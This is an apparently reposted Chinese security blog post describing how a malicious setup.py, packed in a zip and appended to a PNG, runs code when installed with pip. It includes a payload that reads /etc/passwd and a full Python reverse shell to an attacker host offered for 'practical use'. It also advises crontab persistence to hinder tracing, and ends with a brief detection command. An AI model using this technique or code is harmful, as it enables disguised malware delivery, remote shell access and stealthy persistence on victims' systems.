利用pip自解压进行命令执行操作

admin 2023年5月15日02:36:44评论44 views字数 1471阅读4分54秒阅读模式

利用pip自解压进行命令执行操作

Part1代码剖析

我们根据说明解读下pip官方代码

https://github.com/pypa/pip/blob/d0051d3266ba11e7410a43a040dfd409af88a1db/src/pip/_internal/utils/unpacking.py#L229-L257

利用pip自解压进行命令执行操作

第229-233创建了一个函数 unpack_file 和三个参数

利用pip自解压进行命令执行操作

参数说明:

  • filename:一个字符串,表示要解压缩的文件名。

  • location:一个字符串,表示解压缩后文件的目标目录。

  • content_type:一个可选的字符串参数,表示文件的类型。

接着到第234行 filename = os.path.realpath(filename) 是将文件名转换为绝对路径

第235-240 则判断文件类型或者结尾是否为.zip类型的文件

利用pip自解压进行命令执行操作

第241-246则同理判断文件是否为.tar、.bz2、.xz类型文件

利用pip自解压进行命令执行操作

剩余247-257为抛出异常

利用pip自解压进行命令执行操作

总结:首先,将文件名转换为绝对路径。然后,根据文件的类型判断文件应该使用哪种方式进行解压缩,然后运行其中的setup.py文件即可。

Part2过程复现

是的你没有看错,利用pip install 一个图片竟然会触发命令执行,接下来我们跟着一步一步复现这个过程。

首先我们创建一个任意名字的文件夹,在文件夹里创建一个setup.py

利用pip自解压进行命令执行操作

然后在python文件里写入一下代码

f = open("/dev/tty", "w")print(open("/etc/passwd").read(),file=f)

利用pip自解压进行命令执行操作

然后准备一张图片并把文件夹压缩成zip压缩包

利用pip自解压进行命令执行操作

利用以下命令就合并成一个图片了

copy /b 9.png + dx.zip 666.png

利用pip自解压进行命令执行操作

在本地使用python开启一个http环境,在linux上直接使用命令即可

pip3 install "http://xxx.xxx.x.xxx:xxxx/666.png"

实现我们上图的命令执行效果了

利用pip自解压进行命令执行操作

Part3实战利用

那么为了让他更体现实战价值你可以进行以下操作

首先我将内容改为如下命令

from setuptools import setupimport socket,subprocess,osdef con():  import socket, time,pty, os  host='xxx.xxx.xxx'  port=xxxx  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  s.settimeout(10)  s.connect((host,port))  os.dup2(s.fileno(),0)  os.dup2(s.fileno(),1)  os.dup2(s.fileno(),2)  os.putenv("HISTFILE",'/dev/null')  pty.spawn("/bin/bash")  s.close()con()
setup(name="root", version="1.0")

并上传到图床,复制地址

利用pip自解压进行命令执行操作

接下来执行命令,收到shell

利用pip自解压进行命令执行操作

当然 你也可以用来当作权限维持加入到计划任务中,是不是一定程度增加了红蓝对抗中溯源的难度

vim /etc/crontab

添加命令

利用pip自解压进行命令执行操作

收到shell

利用pip自解压进行命令执行操作

Part4后门排查

由于pip下载的python文件存放在/tmp/pip-xxxxx(不规则文件夹内),但python文件命名固定为setup.py,所以排查命令为

find /tmp/ -name setup.py

利用pip自解压进行命令执行操作


“D&X 安全实验室”
专注渗透测试技术
全球最新网络攻击技术

利用pip自解压进行命令执行操作

原文始发于微信公众号(XK Team):利用pip自解压进行命令执行操作

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月15日02:36:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用pip自解压进行命令执行操作https://cn-sec.com/archives/1711691.html

发表评论

匿名网友 填写信息